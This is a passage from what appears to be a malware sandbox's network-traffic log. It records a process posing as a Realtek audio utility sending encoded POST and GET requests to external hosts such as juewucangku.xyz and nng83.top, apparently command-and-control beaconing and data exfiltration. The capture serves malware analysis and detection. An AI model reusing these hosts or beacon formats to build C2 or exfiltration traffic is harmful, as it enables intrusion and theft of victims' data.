pluxVm=oLCQtEinuHrZUOT+l+AwI7GuF77nKmyibv4Uv9+HQZ9oUj/0+F+8o4qzdIEt36rh42pYe3+rrypy88c5I2xN4r+dx9EIcUrWx3haV+bFOjueYVTSsF0S6MbcYNvk8GgI/M7pUGdcybbVW7M3iZ1YXPrj2PwWXZikwQgQwh828Xa8BO+iIo54cRX+AZ70/qkDYg==
Dec 3, 2024 14:52:56.160330057 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 03 Dec 2024 13:52:55 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/mia8/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49781	8.136.96.106	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:58.682605028 CET	709	OUT	POST /mia8/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/mia8/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6f 4c 43 51 74 45 69 6e 75 48 72 5a 57 75 44 2b 69 64 59 77 4f 62 47 74 41 37 37 6e 66 57 79 6d 62 76 30 55 76 38 4c 63 51 71 5a 6f 58 44 50 30 2f 42 71 38 6c 59 71 7a 57 6f 45 6b 7a 36 72 71 34 32 6c 36 65 79 47 72 72 79 39 79 38 2b 30 35 49 47 4e 4b 69 62 2b 66 35 64 45 4b 52 30 72 57 78 33 68 61 56 2b 6d 75 4f 6a 32 65 59 6b 6a 53 74 6b 30 64 33 73 62 66 62 4e 76 6b 74 57 67 4d 2f 4d 36 2b 55 44 68 32 79 64 48 56 57 37 38 33 69 49 31 58 43 66 71 71 70 66 78 64 51 5a 58 54 35 41 59 73 38 68 64 71 31 6b 69 4a 4e 34 7a 34 56 61 4e 63 66 43 4c 4d 45 70 43 63 39 6f 6c 59 46 6c 7a 78 6b 79 49 4c 36 6c 41 76 69 43 6b 79 43 70 51 35 31 30 6b 3d Data Ascii: pluxVm=oLCQtEinuHrZWuD+idYwObGtA77nfWymbv0Uv8LcQqZoXDP0/Bq8lYqzWoEkz6rq42l6eyGrry9y8+05IGNKib+f5dEKR0rWx3haV+muOj2eYkjStk0d3sbfbNvktWgM/M6+UDh2ydHVW783iI1XCfqqpfxdQZXT5AYs8hdq1kiJN4z4VaNcfCLMEpCc9olYFlzxkyIL6lAviCkyCpQ510k=
Dec 3, 2024 14:52:59.006656885 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 03 Dec 2024 13:52:58 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/mia8/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49782	8.136.96.106	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:01.557466030 CET	6445	OUT	POST /mia8/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/mia8/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6f 4c 43 51 74 45 69 6e 75 48 72 5a 57 75 44 2b 69 64 59 77 4f 62 47 74 41 37 37 6e 66 57 79 6d 62 76 30 55 76 38 4c 63 51 71 52 6f 58 79 76 30 2b 6d 47 38 71 34 71 7a 4b 34 45 68 7a 36 72 7a 34 32 74 2b 65 7a 36 52 72 77 46 79 39 66 55 35 42 55 70 4b 33 4c 2b 66 31 39 45 4c 63 55 72 35 78 33 78 57 56 34 47 75 4f 6a 32 65 59 6d 37 53 6b 56 30 64 78 73 62 63 59 4e 75 77 38 47 68 70 2f 4d 6a 4c 55 43 56 4d 79 75 66 56 57 62 73 33 67 2b 70 58 44 2f 71 6f 71 66 77 64 51 5a 4c 4d 35 42 30 61 38 68 6f 39 31 6e 79 4a 63 76 53 33 47 35 39 66 64 7a 36 46 4a 49 4b 6d 38 34 78 55 48 6b 6a 4d 73 30 70 71 30 77 38 76 69 55 30 71 48 73 4d 6f 71 44 75 70 38 71 66 2b 54 76 6d 45 69 46 4b 74 43 6c 31 4b 4a 35 30 2f 41 32 4a 5a 79 5a 6a 6f 4c 77 67 73 46 50 56 49 35 41 6a 35 6f 4c 2b 67 70 47 6a 4a 32 72 6c 35 78 4d 7a 50 51 61 31 6a 33 4e 73 2f 4a 66 32 4c 47 69 45 30 62 2f 6a 32 4f 75 4f 67 57 49 62 64 7a 39 61 63 67 6f 54 44 41 6e 63 61 71 69 59 73 50 6b 6b 54 56 79 55 38 6c 67 4a 71 47 35 2f [TRUNCATED] Data Ascii: pluxVm=oLCQtEinuHrZWuD+idYwObGtA77nfWymbv0Uv8LcQqRoXyv0+mG8q4qzK4Ehz6rz42t+ez6RrwFy9fU5BUpK3L+f19ELcUr5x3xWV4GuOj2eYm7SkV0dxsbcYNuw8Ghp/MjLUCVMyufVWbs3g+pXD/qoqfwdQZLM5B0a8ho91nyJcvS3G59fdz6FJIKm84xUHkjMs0pq0w8viU0qHsMoqDup8qf+TvmEiFKtCl1KJ50/A2JZyZjoLwgsFPVI5Aj5oL+gpGjJ2rl5xMzPQa1j3Ns/Jf2LGiE0b/j2OuOgWIbdz9acgoTDAncaqiYsPkkTVyU8lgJqG5/kukw1bQyUc84UeJo0W8doNYPtKhNfQE7Ma4OuSR4qHHsW+FI6hlKpF++5wGQUgniIKNRWcWJp2J+1S/PG/xxr1WnlVq+xIKqmQH4rEqaXiO6aCsKIn3xEyXOZWqQvAiP+vM5jF9e+n9v2keY4n5q9fMPxoLVaBulqCjC0ZHODvyvzIKUFTXs98QYml1VHfcOlk/pbdPZS0E5EEZvT2C6t85ta2NN6oGYwe2jEOahUWeoapObHbtKBECrNPEpiQKC1bBTBUDiTSgZ7mNHGpbp+EhSrprDqktP3O4Kg1UuAmS+7tihCGvGMZNbI02CCXkCs8RV8R900X85ATZSFQJVbnM1Y2RvfX9TWNjEYzWEmeYb3ujX9BgCUoBpS1UJ3H+veiuWQx8vpYVTxDN7vuGtmjQuIMaJxeYvdTt2Mdj9+ogMqEK427aSfCJM0NcMcENmoFOY9zRciC13lIhcGVdk8vVNEOufLMQjaPq1Fthf27r4fduLH2o2cjBx2kWqYgUJEFcOBhLFIg8wL2pJ9g9RCm7I939SFL86Edh61mwfOP9LBieI1tSfYfn5VGqYuVYEApuhmgvVULEaJx2AurBiGjJL/KKD4PhwZaPuY1CoiPGvCahjQw4qX6OyEchtRUMKdEhgTQIlsMQ/5lWHJd9U37jK8TK2kzs35G [TRUNCATED]
Dec 3, 2024 14:53:01.557502031 CET	1289	OUT	Data Raw: 47 34 31 76 6e 6c 43 42 6d 55 43 6c 37 49 62 4c 4b 59 70 75 70 33 5a 49 6e 66 53 6a 34 68 67 76 31 35 47 77 57 58 62 59 6e 46 57 73 79 4c 50 62 4c 63 58 61 31 54 54 6b 6e 72 71 78 4d 6f 75 79 30 34 70 4b 4f 43 41 78 47 4d 58 6e 37 2f 57 4a 2b 77 Data Ascii: G41vnlCBmUCl7IbLKYpup3ZInfSj4hgv15GwWXbYnFWsyLPbLcXa1TTknrqxMouy04pKOCAxGMXn7/WJ+wNhQ22NsmXnE3tzkWeUtifEmRPxrmPoiMNQAlt8z9InCQ9+qc5PfUeIaAEChBaxpeEVi9woXP3YA2E5t9YM/C3jAyNVMV358HZSutldCCZ4hGrEYMjloHXm0QZbCMJL1lSfZbMB2NjRwSwnUm2VuVNbkY+kDGXc9JW
Dec 3, 2024 14:53:01.557573080 CET	124	OUT	Data Raw: 48 47 33 63 5a 57 63 41 43 37 71 37 59 54 7a 62 68 73 6b 76 30 68 38 53 6e 2b 33 50 52 4f 6f 63 62 55 39 66 4d 68 4b 58 43 42 35 72 54 46 68 77 30 77 33 64 77 6f 53 6e 49 7a 2b 7a 51 4f 5a 48 35 52 2b 65 4d 74 42 5a 6b 63 2f 54 59 33 4d 30 47 34 Data Ascii: HG3cZWcAC7q7YTzbhskv0h8Sn+3PROocbU9fMhKXCB5rTFhw0w3dwoSnIz+zQOZH5R+eMtBZkc/TY3M0G41K3UNyjZxgWqyPc0vge+BNNke72ZXQy0KjW2x21g==
Dec 3, 2024 14:53:01.898566008 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 03 Dec 2024 13:53:01 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/mia8/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49783	8.136.96.106	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:04.467344999 CET	422	OUT	GET /mia8/?pluxVm=lJqwuwutw0TxfZ38sJgHJ7uqXbvMJU6pA/kgjN31XYZ5TRzvlECqmYueWqhH+dns4k5MWxqP8Bok6NcIC1536fve9u1GdSOEvFZBDrTYEySAKG7uhWgC+P8=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:53:04.844867945 CET	546	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 03 Dec 2024 13:53:04 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/mia8/?pluxVm=lJqwuwutw0TxfZ38sJgHJ7uqXbvMJU6pA/kgjN31XYZ5TRzvlECqmYueWqhH+dns4k5MWxqP8Bok6NcIC1536fve9u1GdSOEvFZBDrTYEySAKG7uhWgC+P8=&Z1EO=OvfHeluUy Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49784	38.47.233.4	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:10.293055058 CET	671	OUT	POST /mg8c/ HTTP/1.1 Host: www.nng83.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.nng83.top Referer: http://www.nng83.top/mg8c/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6d 68 70 72 69 4e 54 68 50 59 39 6b 5a 57 47 6f 4b 78 32 7a 41 67 42 6d 6e 50 43 69 62 49 74 68 6d 55 6e 66 74 56 4e 70 4d 56 39 56 31 59 35 53 34 50 70 41 33 69 32 35 45 74 73 4a 31 4f 72 4f 45 44 38 36 4f 69 69 47 55 56 43 42 39 33 6c 63 48 5a 36 67 52 56 73 7a 45 50 48 75 57 6a 61 6a 67 53 52 6f 4d 45 4d 38 70 6a 58 4f 34 46 65 39 6b 47 54 4d 52 43 4a 6b 4f 6f 57 75 38 59 6b 79 64 50 6a 62 59 36 70 4c 47 70 31 69 66 4f 42 63 4b 72 42 57 52 4a 4b 33 49 67 33 52 58 48 67 57 7a 50 6e 35 49 67 73 46 4c 43 59 4e 4e 73 6e 36 4e 6b 6d 58 6d 2b 6a 70 39 78 77 30 55 6c 73 78 37 51 3d 3d Data Ascii: pluxVm=mhpriNThPY9kZWGoKx2zAgBmnPCibIthmUnftVNpMV9V1Y5S4PpA3i25EtsJ1OrOED86OiiGUVCB93lcHZ6gRVszEPHuWjajgSRoMEM8pjXO4Fe9kGTMRCJkOoWu8YkydPjbY6pLGp1ifOBcKrBWRJK3Ig3RXHgWzPn5IgsFLCYNNsn6NkmXm+jp9xw0Ulsx7Q==
Dec 3, 2024 14:53:10.612310886 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:53:10 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49785	38.47.233.4	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:13.142272949 CET	691	OUT	POST /mg8c/ HTTP/1.1 Host: www.nng83.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.nng83.top Referer: http://www.nng83.top/mg8c/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6d 68 70 72 69 4e 54 68 50 59 39 6b 5a 30 53 6f 4a 51 32 7a 58 77 42 6c 72 76 43 69 52 6f 73 71 6d 55 72 66 74 52 39 48 4d 6e 5a 56 31 35 4a 53 35 4f 70 41 37 43 32 35 4f 4e 73 51 37 75 71 41 45 44 78 50 4f 6e 61 47 55 56 57 42 39 31 74 63 47 75 47 6a 51 46 73 31 4c 76 48 6f 4c 7a 61 6a 67 53 52 6f 4d 45 59 53 70 6a 50 4f 37 31 4f 39 6b 6b 37 4c 4b 69 4a 6e 4a 6f 57 75 33 34 6b 4d 64 50 6a 44 59 37 6b 67 47 73 78 69 66 50 78 63 4a 36 42 5a 49 5a 4c 38 57 51 32 42 55 47 51 62 32 50 54 54 48 79 59 4d 4b 6e 41 72 46 61 71 67 51 57 53 7a 6c 74 2f 62 35 42 4a 63 57 6e 74 71 6d 56 32 69 74 73 67 6a 39 5a 2f 64 51 56 64 31 50 4e 67 30 48 54 55 3d Data Ascii: pluxVm=mhpriNThPY9kZ0SoJQ2zXwBlrvCiRosqmUrftR9HMnZV15JS5OpA7C25ONsQ7uqAEDxPOnaGUVWB91tcGuGjQFs1LvHoLzajgSRoMEYSpjPO71O9kk7LKiJnJoWu34kMdPjDY7kgGsxifPxcJ6BZIZL8WQ2BUGQb2PTTHyYMKnArFaqgQWSzlt/b5BJcWntqmV2itsgj9Z/dQVd1PNg0HTU=
Dec 3, 2024 14:53:13.461844921 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:53:13 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49786	38.47.233.4	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:15.985086918 CET	2578	OUT	POST /mg8c/ HTTP/1.1 Host: www.nng83.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.nng83.top Referer: http://www.nng83.top/mg8c/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6d 68 70 72 69 4e 54 68 50 59 39 6b 5a 30 53 6f 4a 51 32 7a 58 77 42 6c 72 76 43 69 52 6f 73 71 6d 55 72 66 74 52 39 48 4d 6e 52 56 31 72 42 53 34 74 52 41 34 43 32 35 51 64 73 4e 37 75 71 4e 45 44 70 4c 4f 6e 6e 37 55 52 6d 42 2f 57 31 63 50 36 53 6a 65 46 73 31 41 50 48 70 57 6a 62 70 67 53 68 7a 4d 45 49 53 70 6a 50 4f 37 33 47 39 74 57 54 4c 4e 53 4a 6b 4f 6f 57 36 38 59 6b 33 64 4c 33 54 59 37 68 62 46 66 4a 69 66 76 68 63 4d 4d 64 5a 41 5a 4c 2b 58 51 33 45 55 47 64 62 32 4c 4c 70 48 78 46 58 4b 67 63 72 42 2b 7a 68 4a 48 4b 73 2f 73 6a 48 34 44 46 45 65 30 5a 47 67 43 79 66 72 66 30 64 35 74 2f 59 4d 46 46 43 54 59 6b 6f 5a 30 65 4d 65 56 52 4e 76 2f 51 4c 38 72 4f 6f 72 54 6b 38 34 4d 63 4a 4b 75 4d 56 51 4e 50 77 73 4e 59 6c 66 63 38 77 43 52 34 61 65 68 4b 7a 6e 57 74 44 50 6f 59 36 68 6f 72 53 2b 58 79 54 4c 6d 67 4c 4f 6b 47 58 48 73 69 66 55 31 2b 6a 44 34 4d 44 59 58 72 4e 48 44 6a 7a 39 77 4e 61 46 42 44 48 74 72 6c 52 45 31 5a 35 47 36 48 7a 47 35 6d 78 7a 6c 7a [TRUNCATED] Data Ascii: pluxVm=mhpriNThPY9kZ0SoJQ2zXwBlrvCiRosqmUrftR9HMnRV1rBS4tRA4C25QdsN7uqNEDpLOnn7URmB/W1cP6SjeFs1APHpWjbpgShzMEISpjPO73G9tWTLNSJkOoW68Yk3dL3TY7hbFfJifvhcMMdZAZL+XQ3EUGdb2LLpHxFXKgcrB+zhJHKs/sjH4DFEe0ZGgCyfrf0d5t/YMFFCTYkoZ0eMeVRNv/QL8rOorTk84McJKuMVQNPwsNYlfc8wCR4aehKznWtDPoY6horS+XyTLmgLOkGXHsifU1+jD4MDYXrNHDjz9wNaFBDHtrlRE1Z5G6HzG5mxzlz7nunF+jA+61eLZMcPyZGZypbztKo+d+AhJj6ln9DDQega0jD6+Lk1dpeQsvtpprEEvRnp7PXNenFNnUYCrY1ULfMvL6seXA2DMGK7IZi78fEy311DS8qGScoitVN6bod3dsdKTf7r7Pk9lknnVLqiaGWiVzzsfHmYDCbKgxgECtDwDod6owp0gnWhfYmGWbkIqIm3spGFbXzm3IgCj/xNpmjfdGqGB+7McZJm86pvBDhk9sKmOS/gyodXQP7YFBSCHaJDlzQkQpzQ8xkk9NsberUE7tcx/OaMUNSTlhudZWsdwwbZP6GVoznRzwnHWqfXqHoPS2gb8IAlyyiPAdi0YbRe+U0IgogvKbrGx7RzzGgL1bD3TyhsILU5UcvSVtgyUoPTp6VilWKCeCf4FlywcqF4YdXEmRoFri7NULORwerSreW9ezLFNr8yhj0mRLPqrpZrvAEunveLCTRdSQRWF4kQnlGlr6QNVJYbmowW2kIngCn10wN/hAsgliUFk1rq2h5bWStQFBJOLqFMFhrDVG1cvRoFviNPT9Eiakl7fxSSDp2IL30I3oXkWrffHvefANCv5B7EoUh4OxkdigyUwJVCCjiBsD+qLU6MvSTwl/o+BLD8Zn5tgnjG3vpkBRLaymTdY/vtit5puy0tKdTqgLqTjYkPKvpMP [TRUNCATED]
Dec 3, 2024 14:53:15.985142946 CET	5262	OUT	Data Raw: 37 45 45 79 73 71 65 38 4b 48 37 42 42 51 4c 31 44 50 46 34 46 52 71 68 39 52 31 33 37 64 43 6a 2b 49 45 62 2f 46 78 6b 4f 41 44 48 78 50 76 58 47 68 30 41 70 65 50 47 39 7a 70 35 4b 38 4b 68 68 48 63 4c 72 4e 34 65 54 4d 32 50 74 4f 44 45 6a 48 Data Ascii: 7EEysqe8KH7BBQL1DPF4FRqh9R137dCj+IEb/FxkOADHxPvXGh0ApePG9zp5K8KhhHcLrN4eTM2PtODEjHlAAJRCe1L+Xbu/WwRZOhpxTH124YaYkaTkJkAZQPba5i9LeNX1UaCPGwWwaoL8aUG2ipFXulQxmPkI6HSw1Tb8BbxveOjSIt+qBktm/K6mF7aaUZjwXA/vATPUaSOUBtpocQUsyXSI7Tzxvo4J7IkeC/C+Nvm86o8
Dec 3, 2024 14:53:16.304142952 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:53:16 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49787	38.47.233.4	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:18.827400923 CET	416	OUT	GET /mg8c/?pluxVm=rjBLh9a8fZJRcQu9K1C3LAtp+/ShEoEfzH3ui2xMInNHtYlxt8Nl0C2ZPsNy1cCyYgBvBEXXCVeazEdoFLasWgZ3AJaOWiiv1TsNcWo9tyTPmHKnoGX/TSk=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.nng83.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:53:19.146908045 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:53:18 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49788	103.224.182.242	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
